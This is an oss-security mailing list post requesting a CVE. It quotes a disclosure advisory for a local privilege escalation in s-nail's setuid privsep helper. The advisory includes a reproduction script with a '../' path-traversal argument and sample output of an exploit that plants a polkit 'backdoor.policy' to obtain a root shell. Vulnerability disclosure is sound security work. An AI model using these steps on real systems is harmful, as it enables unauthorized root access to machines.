Date: Sun, 5 Feb 2017 02:01:55 +0100 From: wapiflapi <wapiflapi@...oo.fr> To: oss-security@...ts.openwall.com Cc: Steffen Nurpmeso <steffen@...oden.eu> Subject: Re: CVE Request: s-nail local root Hi, Still no update on this. If here is not the right place can someone please point me to where I should ask for a CVE for this fixed local root in s-nail? Thanks! On 01/27/2017 10:03 PM, wapiflapi wrote: > Hi, > > s-nail fixed a local root. This affects archlinux by default and other > linux distros' packages (eg. ubuntu). Can we get a CVE for this ? > > https://www.mail-archive.com/s-nail-users@...ts.sourceforge.net/msg00551.html > > Here is the advisory: > > Affects > ======= > > S-nail (later S-mailx) is a mail processing system. It is intended to > provide the functionality of the POSIX mailx command. It is installed by > default on archlinux and is pulled in on ubuntu whenever mailx is > needed. It might be used elsewhere. > > There is a vulnerability in the setuid root helper binary s-nail uses to > handle lock files: > > - archlinux: /usr/lib/mail-privsep > - ubuntu: /usr/lib/s-nail/s-nail/privsep > > > Reproducing the issue > ===================== > > The problem is that an O_EXCL file is created with a user controlled > path because the di.di_hostname and di.di_randstr are never checked. > This means that using s-nail-privsep a normal user can create a file > anywhere on the filesystem, which is a security problem. > > The command is very picky about it's arguments. Here is an example > script setting up the bug. This runs the setuid binary under strace so > we can see the call to open() that we control followed by a call to > fchown() giving us ownership. > > > ``` > # On archlinux it should be: /usr/lib/mail-privsep > PRIVSEP=/usr/lib/s-nail/s-nail-privsep; > > # Some setup to get the directory traversal working. > touch /tmp/foo > mkdir -p /tmp/foo.lock.spam.eggs > > cd $(dirname $PRIVSEP); > PATH=$PATH:. # argv must be just the name. > > # stdin & stdout must be pipes ! > echo | strace -f $(basename $PRIVSEP) rdotlock \ > mailbox /tmp/foo name /tmp/foo.lock \ > hostname spam randstr eggs/../../../../../../../tmp/test \ > pollmsecs 0 |& grep -E "foo\.lock\.spam\.eggs|chown"; > ``` > > > Security Impact > =============== > > This issue can be leveraged by any logged in user to gain full root > privileges. > > To exploit this we have to win a race condition and find a way to > leverage the ephemeral file. We achieve this by adding a polkit policy > and using pkexec su. > > A functional exploit is attached :-) Should look like this: > > ``` > $ id > uid=1000(wapiflapi) gid=1000(wapiflapi) groups=1000(wapiflapi)[...] > $ ./s-nail-privget /usr/lib/s-nail/s-nail-privsep > [=] s-nail-privsep local root by @wapiflapi > [+] Started flood in /usr/share/polkit-1/actions/backdoor.policy > [+] Started race with /usr/lib/s-nail/s-nail-privsep > [=] This could take a while... > [/] wait for it: done > root@...:~# id > uid=0(root) gid=0(root) groups=0(root) > ``` > > If the system doesn't have pkexec there are other ways to get root > access from this. (`at` and `crontab` files come to mind.) The exploit > is a bit slow (20s?), it's probably possible to be smarter about the > race, but it's a poc ! ;-) Also if testing in a VM, having more than one > cpu core helps a lot. > > > Issue Timeline > ============== > > discovery: 26/01/2016 > disclosure: 27/01/2016 > vendor fix: 27/01/2016 > > > Regards, > Wannes `wapiflapi` Rombouts >
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Powered by Openwall GNU/*/Linux - Powered by OpenVZ